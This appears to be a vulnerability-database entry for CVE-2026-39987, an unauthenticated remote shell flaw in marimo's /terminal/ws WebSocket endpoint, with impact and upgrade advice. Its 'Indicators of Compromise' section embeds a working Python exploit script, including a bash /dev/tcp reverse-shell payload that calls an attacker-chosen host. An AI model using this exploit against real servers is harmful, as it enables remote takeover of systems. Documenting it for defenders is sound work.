CVE-2026-39987: CWE-306: Missing Authentication for Critical Function in marimo-team marimo
Marimo versions prior to 0.23.0 contain a critical vulnerability in the /terminal/ws WebSocket endpoint that lacks authentication validation. This allows unauthenticated attackers to gain a full PTY shell and execute arbitrary system commands remotely. The vulnerability arises because unlike other endpoints, /terminal/ws does not call the validate_auth() function and only checks running mode and platform support. This issue is fixed in version 0.23.0. The vulnerability has a CVSS 4.0 score of 9.
AI Analysis
Technical Summary
CVE-2026-39987 is a critical missing authentication vulnerability (CWE-306) in the marimo reactive Python notebook prior to version 0.23.0. The /terminal/ws WebSocket endpoint does not perform authentication checks, allowing unauthenticated remote attackers to obtain a full PTY shell and execute arbitrary commands on the system. Other WebSocket endpoints properly validate authentication, but /terminal/ws only verifies running mode and platform support before accepting connections. This vulnerability enables remote code execution without any user interaction or privileges. The issue is resolved in marimo version 0.23.0.
Potential Impact
An unauthenticated attacker can remotely execute arbitrary system commands with full PTY shell access via the vulnerable /terminal/ws endpoint. This leads to complete compromise of the affected system running marimo versions prior to 0.23.0. The vulnerability is rated critical with a CVSS 4.0 score of 9.3, reflecting its high impact and ease of exploitation.
Mitigation Recommendations
Upgrade marimo to version 0.23.0 or later, where this vulnerability is fixed by adding proper authentication validation to the /terminal/ws WebSocket endpoint. Since this is a self-hosted product, users must apply the update themselves. Patch status is confirmed fixed in version 0.23.0.
Indicators of Compromise
- exploit-code: Title: Marimo 0.20.4 - RCE Date: August 2nd, 2026 Exploit Author: Jason Bernier Vendor Homepage: https://marimo.io/ Software Link: https://github.com/marimo-team/marimo Version: <=0.20.4 Tested on: Ubuntu 24.04 CVE: CVE-2026-39987 Advisory: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc """ Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo. The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system. Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc This exploit will either execute a reverse shell or any command specified with the -c argument. https://github.com/jasonbernier/ """ import websocket import argparse import time import sys import urllib.parse import ssl import socket import threading import subprocess from typing import Optional # Global variables for reverse shell LHOST: Optional[str] = None LPORT: Optional[int] = None shell_socket: Optional[socket.socket] = None conn: Optional[socket.socket] = None def send_reverse_command(command: str) -> str: """Send command to target and receive output""" try: if not conn: print("[-] No active connection") return "" conn.sendall(command.encode() + b"\n") time.sleep(1) output = b"" while True: try: data = conn.recv(4096) if not data: break output += data except socket.timeout: break return output.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error sending command: {str(e)}") return "" def exploit(target_url: str, command: str = None) -> None: """ Exploit CVE-2026-39987 to execute commands via WebSocket terminal. Args: target_url: Target URL (e.g., http://localhost:2718) command: Command to execute (default: id && whoami && hostname) """ # Normalize URL if not target_url.startswith(('http://', 'https://')): target_url = f"http://{target_url}" parsed = urllib.parse.urlparse(target_url) if parsed.scheme not in ['http', 'https']: print(f"[-] Invalid scheme: {parsed.scheme}") sys.exit(1) # Determine protocol based on port if parsed.port == 443 or parsed.scheme == 'https': ws_scheme = 'wss' else: ws_scheme = 'ws' # Build WebSocket URL ws_path = parsed.path.rstrip('/') if ws_path.endswith('/terminal/ws'): ws_path = ws_path.replace('/terminal/ws', '/terminal/ws') elif '/terminal/ws' not in ws_path: ws_path = f"{ws_path}/terminal/ws" ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}" try: print(f"[+] Connecting to {ws_url}...") # Disable SSL verification for self-signed certs ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE}) # Wait for initial output to drain try: while True: ws.settimeout(1) ws.recv() except: pass # Execute command if command: print(f"[+] Executing reverse shell!") ws.send(command + "\n") time.sleep(2) # Get output output = "" try: while True: ws.settimeout(1) chunk = ws.recv() output += chunk except: pass print(f"[+] Check your netcat listener on port {LPORT}!") ws.close() except Exception as e: print(f"[-] Error: {str(e)}") sys.exit(1) def main(): """Parse arguments and execute exploit.""" parser = argparse.ArgumentParser( description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE', ) parser.add_argument( '-u', '--url', required=True, help='Target URL (e.g., http://localhost:2718)' ) parser.add_argument( '-c', '--command', help=' Command to execute (default: id && whoami && hostname)' ) parser.add_argument( '--lhost', help='Local host for reverse shell (requires --lport)' ) parser.add_argument( '--lport', type=int, help='Local port for reverse shell (requires --lhost)' ) args = parser.parse_args() # Validate arguments if (args.lhost and not args.lport) or (args.lport and not args.lhost): print("[-] Both --lhost and --lport must be provided together") sys.exit(1) # Set up reverse shell if specified if args.lhost and args.lport: global LHOST, LPORT LHOST = args.lhost LPORT = args.lport # Generate reverse shell payload payload = ( f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id" ) # Send payload directly exploit(args.url, payload) else: # Default command if none specified default_cmd = "id && whoami && hostname" cmd = args.command or default_cmd exploit(args.url, cmd) if __name__ == "__main__": main()
CVE-2026-39987: CWE-306: Missing Authentication for Critical Function in marimo-team marimo
Description
Marimo versions prior to 0.23.0 contain a critical vulnerability in the /terminal/ws WebSocket endpoint that lacks authentication validation. This allows unauthenticated attackers to gain a full PTY shell and execute arbitrary system commands remotely. The vulnerability arises because unlike other endpoints, /terminal/ws does not call the validate_auth() function and only checks running mode and platform support. This issue is fixed in version 0.23.0. The vulnerability has a CVSS 4.0 score of 9.
CVSS v4.0
Score 9.3critical
Affected software
marimo-team
marimo
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-39987 is a critical missing authentication vulnerability (CWE-306) in the marimo reactive Python notebook prior to version 0.23.0. The /terminal/ws WebSocket endpoint does not perform authentication checks, allowing unauthenticated remote attackers to obtain a full PTY shell and execute arbitrary commands on the system. Other WebSocket endpoints properly validate authentication, but /terminal/ws only verifies running mode and platform support before accepting connections. This vulnerability enables remote code execution without any user interaction or privileges. The issue is resolved in marimo version 0.23.0.
Potential Impact
An unauthenticated attacker can remotely execute arbitrary system commands with full PTY shell access via the vulnerable /terminal/ws endpoint. This leads to complete compromise of the affected system running marimo versions prior to 0.23.0. The vulnerability is rated critical with a CVSS 4.0 score of 9.3, reflecting its high impact and ease of exploitation.
Mitigation Recommendations
Upgrade marimo to version 0.23.0 or later, where this vulnerability is fixed by adding proper authentication validation to the /terminal/ws WebSocket endpoint. Since this is a self-hosted product, users must apply the update themselves. Patch status is confirmed fixed in version 0.23.0.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-04-08T00:01:47.629Z
- Cvss Version
- 4.0
- State
- PUBLISHED
Indicators of Compromise
Exploit Source Code
Exploit code for Marimo 0.20.4 - RCE
Title: Marimo 0.20.4 - RCE Date: August 2nd, 2026 Exploit Author: Jason Bernier Vendor Homepage: https://marimo.io/ Software Link: https://github.com/marimo-team/marimo Version: <=0.20.4 Tested on: Ubuntu 24.04 CVE: CVE-2026-39987 Advisory: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc """ Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo. The exploit leverages a WebSocket endpoint to execute arbitrary c... (4929 more characters)
Threat ID: 69d7e6ff1cc7ad14dafe8dec
Added to database: 04/09/2026, 17:50:55 UTC
Last enriched: 05/01/2026, 20:51:19 UTC
Last updated: 09/14/2026, 01:27:21 UTC
Views: 251
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.